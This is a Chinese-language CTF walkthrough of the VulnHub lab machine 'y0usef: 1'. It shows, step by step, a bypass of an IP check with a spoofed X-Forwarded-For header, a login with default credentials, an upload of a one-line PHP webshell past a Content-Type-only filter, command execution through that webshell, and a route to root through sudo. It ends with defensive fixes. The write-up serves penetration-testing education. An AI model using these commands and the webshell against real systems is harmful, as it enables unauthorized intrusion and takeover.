跳到主要内容

VulnHub y0usef: 1 通关记录|X-Forwarded-For 绕过、文件上传与 sudo 提权

靶机链接:y0usef: 1


0x01 基本信息

名称IP
Kali Linux192.168.1.113
y0usef: 1192.168.1.111

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、53/tcp DNS、80/tcp HTTP确定 Web 为主攻击面,DNS 为辅
目录枚举dirsearch 发现 /adminstration/Gobuster/ffuf 标准字典无该拼写错误,dirsearch 独特命中
IP 绕过X-Forwarded-For: 127.0.0.1应用程序信任该头,绕过 IP 级访问控制
弱登录admin:admin默认凭据进入后台
上传绕过Content-Type: image/png + filename: shell.php后端仅校验 Content-Type,不校验扩展名
RCEWebshell 命令执行取得 www-data 初始立足点
Flag 1/home/user.txt Base64 解密获得 yousef:yousef123 SSH 凭据
Rootyousefsudo直接 sudo 到 root

0x02 侦察与信息收集 (Reconnaissance)

1. RustScan 联动 Nmap

先用 RustScan 做快速端口发现,再让 Nmap 接手服务识别:

rustscan -a 192.168.1.111 --ulimit 5000 --range 1-65535 -- -sV -sC

RustScan 首轮输出:

Open 192.168.1.111:22
Open 192.168.1.111:53
Open 192.168.1.111:80

联动 Nmap 复核后的服务摘要:

端口状态服务版本
22/tcpopenSSHOpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
53/tcpopenDNSUnbound(开放解析器)
80/tcpopenHTTPApache 2.4.10 (Ubuntu)X-Powered-By: PHP/5.5.9-1ubuntu4.29

2. DNS 信息收集

53/tcp 上的 Unbound 是一个开放解析器,且对 hvmlan 两个域有权威应答:

dig @192.168.1.111 artig.hvm A +short
# 192.168.1.111

dig @192.168.1.111 -x 192.168.1.111
# yousef-VirtualBox.lan.

此时得到两条线索:

  1. 管理员用户名可能为 yousef
  2. DNS 开放解析 + 可解析 127.0.0.1,后续结合服务器端请求可形成 DNS Rebinding(本链未使用)

3. Web 根目录枚举

首页是一个静态"Under Construction"页面,无参数处理:

curl -s http://192.168.1.111/
<h1>Sorry , the site is under construction soon, it run </h1>

接着用三个工具做目录枚举,对比效果:

工具字典结果
gobusterdirb/common.txt仅发现 index.phpserver-status(403)
ffufraft-small-words.txt同上,无新增
dirsearch内置字典 + -e php,html,txt发现 /adminstration/

4. 拼写错误目录 — 工具差异分析

gobusterffuf 的通用字典中只有正确拼写的 administration,而该靶机故意把目录命名为缺少字母 iadminstrationdirsearch 内置字典覆盖了更多变体拼写,因此能够命中。

dirsearch -u http://192.168.1.111/ -e php,html,txt,inc,bak,old,phps -t 30 --random-agent

输出(过滤非 404):

301 322B /adminstration -> /adminstration/
200 491B /adminstration/include/
301 329B /adminstration/logout -> /adminstration/logout/
301 329B /adminstration/upload -> /adminstration/upload/
301 328B /adminstration/users -> /adminstration/users/

其中 /adminstration/include/ 开启了目录列表,可直接读取 header.phpfooter.php

curl -s http://192.168.1.111/adminstration/include/header.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title> Admin panel </title>
<link href="/adminstration/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link href="/adminstration/bootstrap/css/style.css" rel="stylesheet">
</head>
<body>

header.php 确认这是一个管理员面板(Admin panel),使用了 Bootstrap 侧边栏模板。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. IP 级认证绕过

直接访问 /adminstration/ 返回应用层 Forbidden:

curl -s http://192.168.1.111/adminstration/
<h1>Forbidden</h1><p>You don't have permission to access on this folder</p>

同时设置 PHPSESSID,说明应用做了会话管理。尝试用常见 Header 绕过:

绕过尝试结果
无 Header403 Forbidden
X-Forwarded-For: 127.0.0.1200 — 登录表单暴露
X-Real-IP: 127.0.0.1403
X-Client-IP: 127.0.0.1403
Forwarded: for=127.0.0.1403

结论: 后端 PHP 应用仅信任 X-Forwarded-For 头,使用它来判断客户端 IP。设置 127.0.0.1 即可伪装为本地请求,绕过 IP 白名单。

curl -s -H "X-Forwarded-For: 127.0.0.1" http://192.168.1.111/adminstration/

返回完整登录表单:

<form action="" method="POST">
<div class="form-group">
<label for="exampleInputUsername">Username</label>
<input type="text" class="form-control" name="username" placeholder="Enter username">
</div>
<div class="form-group">
<label for="exampleInputPassword">Password</label>
<input type="password" class="form-control" name="password" placeholder="Password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>

2. 弱登录凭据

使用默认凭据 admin:admin 尝试登录:

curl -s -c /tmp/cookie.txt -X POST \
-H "X-Forwarded-For: 127.0.0.1" \
-d "username=admin&password=admin" \
http://192.168.1.111/adminstration/
Hello admin welcome back !!

登录成功后,用 Session 携带 Cookie 访问后台各功能页:

路径功能
/adminstration/dashborad/仪表盘(注意拼写也为 dashborad
/adminstration/users/用户管理
/adminstration/upload/文件上传
/adminstration/logout/登出

后台侧边栏截图(HTML 还原):

Sidebar:
Welcome admin
├── Dashboard
├── Users
├── Upload file
└── Log out

3. 文件上传过滤分析

上传功能位于 http://192.168.1.111/adminstration/upload/,表单字段名为 document。测试各种扩展名和 Content-Type 组合:

FilenameContent-Type结果
shell.phpapplication/x-phpfile not allow
shell.phtmlapplication/x-phpfile not allow
shell.pharapplication/x-phpfile not allow
shell.php.jpgimage/jpegfile not allow(检测到 php
shell.pht.pngimage/pnguploadad,成功
shell.pngimage/pnguploadad,成功
shell.phpimage/pnguploadad,成功

过滤逻辑分析:

校验维度逻辑
文件名黑名单匹配 php 子串(不区分大小写),但不检测 phtmlpht
Content-Type白名单:仅放行 image/pngimage/gif
最终扩展名不校验——只要 Content-Type 是图片类型即可

绕过方式: Content-Type 设为 image/png,filename 直接写 .php

curl -s -b /tmp/cookie.txt -H "X-Forwarded-For: 127.0.0.1" \
-F "document=@/dev/stdin;filename=rce.php;type=image/png" \
-F "submit=Send" \
http://192.168.1.111/adminstration/upload/ <<< '<?php system($_GET["c"]); ?>'

响应:

file uploadad files/1781589710rce.php

文件存储在 /adminstration/upload/files/<timestamp><filename>


0x04 核心攻击链:RCE 与初始立足点

1. Webshell 执行

上传的 PHP 文件可直接访问并执行命令:

curl -s "http://192.168.1.111/adminstration/upload/files/1781589710rce.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

确认 RCE 后,进行系统信息收集:

curl -s "http://192.168.1.111/adminstration/upload/files/...rce.php?c=uname -a"
Linux yousef-VirtualBox 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686
curl -s "http://192.168.1.111/adminstration/upload/files/...rce.php?c=cat /etc/os-release"
Ubuntu 14.04 LTS (Trusty Tahr)

2. 用户 Flag — /home/user.txt

curl -s "http://192.168.1.111/adminstration/upload/files/...rce.php?c=cat /home/user.txt"
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

Base64 解码:

echo 'c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=' | base64 -d
ssh :
user : yousef
pass : yousef123

User Flag(Base64 原文): c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=


0x05 权限提升 (Privilege Escalation)

1. SSH 登录与用户权限

凭据 yousef:yousef123 可直接 SSH 登录:

sshpass -p 'yousef123' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
yousef@192.168.1.111 'id'
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

关键发现:yousefsudo 组(groups=...,27(sudo),...)。

2. 直接 sudo 提权

sshpass -p 'yousef123' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
yousef@192.168.1.111 "echo yousef123 | sudo -S id"
uid=0(root) gid=0(root) groups=0(root)

3. Root Flag — /root/root.txt

sshpass -p 'yousef123' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
yousef@192.168.1.111 "echo yousef123 | sudo -S cat /root/root.txt"
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx

Base64 解码:

echo 'WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx' | base64 -d
You've got the root Congratulations any feedback content me twitter @y0usef_11

Root Flag(Base64 原文): WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx


0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/user.txt
  • 内容: c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
  • 解码: ssh : user : yousef pass : yousef123

Root Flag

  • 路径: /root/root.txt
  • 内容: WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
  • 解码: You've got the root Congratulations any feedback content me twitter @y0usef_11

复盘总结

这台靶机的攻击链偏短,重点在于信息收集阶段的工具选用绕过手法的组合

  1. Dirsearch 胜在字典覆盖。 gobusterffuf 的通用字典只有 administration,而 dirsearch 的字典天然覆盖了拼写变体 adminstration。这也说明在渗透测试中,工具多样性比单工具深度更重要。

  2. X-Forwarded-For 是老但好用的绕过。 大量自研 PHP 应用仍然通过 $_SERVER['HTTP_X_FORWARDED_FOR'] 来判断客户端 IP,且没有意识到该字段可被任意伪造。在实际渗透中,这个头应当在目录发现后第一时间测试。

  3. 文件上传过滤的表层校验。 后端仅判断 Content-Type 是否为图片类型,完全没有校验文件实际内容或扩展名。这是文件上传漏洞中最常见的错误实现之一。

  4. Base64 不是加密。 两个 flag 文件都直接 Base64 存放敏感信息。这类编码在 CTF 中很常见,但在真实场景中也时有出现——开发者误以为 Base64 是加密。

  5. sudo 组配权过于宽松。 yousef 被直接加入 sudo 组意味着任何拿到该用户凭据的人都能直通 root。在生产环境中应当遵循最小权限原则,通过 sudoers 精确控制可执行命令。

从防守角度看,修复建议也很直接:前端反向代理(如 Nginx)应在转发前剥离 X-Forwarded-For 并重新设置;文件上传必须校验实际文件内容(Magic Bytes + MIME 检测),文件名使用白名单扩展名;敏感信息不应以 Base64 明文存储;sudo 权限应走精确的 sudoers 规则而非直接加入 sudo 组。